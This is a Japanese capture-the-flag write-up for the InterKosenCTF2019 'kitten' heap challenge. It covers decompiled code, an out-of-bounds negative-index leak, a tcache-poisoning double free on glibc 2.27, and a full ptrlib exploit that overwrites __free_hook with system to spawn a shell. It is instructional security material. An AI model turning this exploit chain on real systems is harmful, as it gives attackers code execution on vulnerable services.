# (pwn) kitten ###### tags: `InterKosenCTF2019` `tcache-poisoning` `double free` `use after free` `__free_hook` ## 問題概要 バイナリとlibc(2.27)が与えられる。 Noteを色々作れる問題、かと思いきやネコちゃん :cat: を探してきたり里親を探してあげたりする心温まる問題。基本的にはNoteと同じ。こういう問題はheapをどうにかするheap問題で、大体穴があって`double free`とかができる用になっている。 まずセキュリティ機構を確認する。`Full RELRO`かつ`Canary found`だけど`No PIE`。 ``` $ checksec -f chall RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 85 Symbols Yes 0 6 chall ``` 続いて、ghidraでデコンパイルした結果を整形すると次のようになっている。 ```clike= int count; char* kittens[10]; char name[0x7f]; void find_kitten() { if (count >= 10) { return; } int name_len = readline(name, 0x7f); kittens[count] = malloc(sizeof(char) * name_len); strcpy(kittens[count], name); count++; } void list_kittens() { for (int i = 0; i < count; i ++) { printf("%d - %s\n", i, kittens[i]); } } void feed_kitten() { list_kittens(); int i = readint(); if (i < count) { printf("%s: Meow\n", kittens[i]); } } void foster() { list_kittens(); int i = readint(); if (i < count) { count--; printf("%s: Meow\n", kittens[i]); free(kittens[i]); kittens[i] = kittens[count]; } } void main() { setup(); while (true) { switch (menu()) { case 1: find_kitten(); break; case 2: feed_kitten(); break; case 3: foster(); break; case 4: exit(1); break; default: break; } } } ``` プログラムの内容を整理してみる - 猫は `kittens` というサイズ10のグローバルな配列に入っていて、中身はただの文字列。いま何匹の猫の面倒を見ているかは `count` というグローバル変数で管理している - `find`をすると `kittens` にエントリを追加できる。このときは`name`というグローバル変数に一旦名前を格納しておき`kittens[count] = malloc(name_len)`したあとに`strcpy`する - `feed`をすると`kittens` のエントリを見ることができる - `foster`をすると `kittens[i]`を`free`できる ## 脆弱性 `feed`, `foster`時に負の値を入れることができる。これがどう使えるかはメモリ配置を見て考える。 `00602020`の位置に`.name`セクションが、続く`006020a0`セクションに`.kittens`セクションがあって、それぞれ`name`, `kittens`というグローバル変数に対応している。普通はこんなセクションは作られないので作問の都合でこうなっているんだと思う。 ![](https://i.imgur.com/c8vbVBp.png) で、今`feed`に対して負の値を渡すことができるので、`kittens[-5]`みたいな配列外の文字列を読むことができる。これをうまく`name`に向けると`name`に格納された文字列をポインタとして解釈させて好きなアドレスを見に行くことができる。このメモリ配置だと`kittens[-16]`で`name`の先頭8バイトを文字列ポインタと解釈する。 ## 方針 前節で説明した脆弱性を使えば、libcのアドレスを求めることはできそう。`name`にこれまで実行されたlibcの関数のgotエントリのポインタを入れておいて、それを`feed`するだけでいい。 続いて何をするかわからなかったのでptr-yudaiに泣きついたんだけど、どうやら`Full RELRO`のheap問題では`__free_hook`という`libc`内の変数(関数ポインタ)を適当な場所に向けるのが常套手段らしい。これは`free`時に`free`に与えた引数を伴って呼ばれる関数をセットしておけて嬉しいとかうれしくないとか。 そういうわけで、この`__free_hook`に`system`のアドレスを入れておいて、`free("/bin/sh")`みたいなことをすると`system`が呼び出されるみたいなのでこれを目標にしていく。 それじゃあこの`__free_hook`を書き換えるためにはどうするか、だけどそれには**t-cache poisoning**を使う。t-cacheはlibc 2.26から導入されたマルチスレッドなfastbinのことで、t-cache poisoningは要するにunlink attackのようなもの。どこかでdouble freeを起こして更にUse after Freeがあれば`tcache_entry`構造体の`next`の値を書きかえて好きなアドレスをmallocさせられる。 ## exploit 結構綺麗にかけたと思う。 ```python= from ptrlib import * NAME_OFFSET = -16 KITTENS_ADDR = 0x006020a0 binary = ELF("./chall") # libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") # sock = Process("./chall") sock = Socket("localhost", 9005) libc = ELF("./libc-2.27.so") # ---------------------------------------------------- # write pointer to printf@libc sock.recvuntil("> ") sock.sendline("1") sock.recvuntil("Name: ") sock.sendline(p64(binary.got("printf"))) # read from name@data section # name has address to printf@got sock.recvuntil("> ") sock.sendline("2") sock.recvuntil("> ") sock.sendline(str(NAME_OFFSET)) # calculate libc base printf_addr = u64(sock.recvline()[: -len(b"* Meow!")]) libc_base = printf_addr - libc.symbol("printf") print("LIBC_BASE: {:x}".format(libc_base)) # ---------------------------------------------------- # set pointer to kittens to the name sock.recvuntil("> ") sock.sendline("1") sock.recvuntil("Name: ") sock.sendline(p64(KITTENS_ADDR)) # get the heap address sock.recvuntil("> ") sock.sendline("2") sock.recvuntil("> ") sock.sendline(str(NAME_OFFSET)) # calculate heap address heap_addr = u64(sock.recvline()[: -len(b"* Meow!")]) print("HEAP: {:x}".format(heap_addr)) # ---------------------------------------------------- # set name as the pointer to the first kitten sock.recvuntil("> ") sock.sendline("1") sock.recvuntil("Name: ") sock.sendline(p64(heap_addr)) # free the first kitten sock.recvuntil("> ") sock.sendline("3") sock.recvuntil("> ") sock.sendline("0") # free the second dummy kitten sock.recvuntil("> ") sock.sendline("3") sock.recvuntil("> ") sock.sendline("0") # double free the first kitten through the name # libc 2.27 does not check the double free for t-cache sock.recvuntil("> ") sock.sendline("3") sock.recvuntil("> ") sock.sendline(str(NAME_OFFSET)) # malloc the first kitten and set its `next` value (in t-cache struct) to `__free_hook` sock.recvuntil("> ") sock.sendline("1") sock.recvuntil("Name: ") sock.sendline(p64(libc_base + libc.symbol("__free_hook"))) # tcache.entry has only one parameter `next` # malloc the second kitten whose name is payload for system sock.recvuntil("> ") sock.sendline("1") sock.recvuntil("Name: ") sock.sendline("/bin/sh") # malloc the third dummy kitten sock.recvuntil("> ") sock.sendline("1") sock.recvuntil("Name: ") sock.sendline("takoyaki") # malloc the forth kitten, it is actually `__free_hook` # write the pointer to system@libc sock.recvuntil("> ") sock.sendline("1") sock.recvuntil("Name: ") sock.sendline(p64(libc_base + libc.symbol("system"))) # ---------------------------------------------------- # free the second kitten. In fact, this does `system("/bin/sh")` intead of `free(kiten[1])` sock.recvuntil("> ") sock.sendline("3") sock.recvuntil("> ") sock.sendline("1") sock.interactive() ``` ![](https://i.imgur.com/r8Br67u.png) ## 解説 libc baseを求めるところまでは良いと思うので省略する。つづいて`name`に`kittens[0]`のアドレスを入れてヒープのアドレスを求めてる。これは次のdouble freeのために使う。 続いてdouble freeをしてる。処理としては`free(kittens[0]); free(kittens[1]); free(name);` みたいな感じ(実際には`foster`時に繋ぎ変えが生じて状態が変わるので厳密にこうではないけど)。`name`に`kittens[0]`のアドレスを入れておくことでdouble freeができる(libc-2.27ではt-cacheに対するdouble freeの検出がまだ導入されていない)。 こうしておくと、`tcache` (`fastbin`に相当)には次のようにfree済みの領域が連結されていくことになる。 ![](https://i.imgur.com/10fUigH.png) これを一度mallocするとこうなる ![](https://i.imgur.com/DDBYY1L.png) このときheap上の`kittens[0]`はtcacheに繋がっているのでlibcから見ればfreeされた状態だが、`kittens[0]`として確保されてもいるので書き込みができる。ここで`kittens[0]`の名前を`__free_hook`にするとこうなる ![](https://i.imgur.com/6B8acN0.png) プログラム上の文字列領域とtcache上の`tcache_entry.next`は同じアドレスを共有しているので、うまく書き換えると`tcache_entry`が`__free_hook`に繋がったようにみえる。この状態で何度かmallocをしてやる ![](https://i.imgur.com/42Mk3eN.png) ![](https://i.imgur.com/gsbBlIQ.png) ![](https://i.imgur.com/3LntRuZ.png) ![](https://i.imgur.com/HNHlTGx.png) このとき`kittens[3]`の名前を `system@libc`のアドレスにしてやればそれは`__free_hook`に`system`を登録することに等しく、この状態で名前として`/bin/sh`を持つ`kitten[1]`かなにかを`free`すれば`system("/bin/sh")`が実行される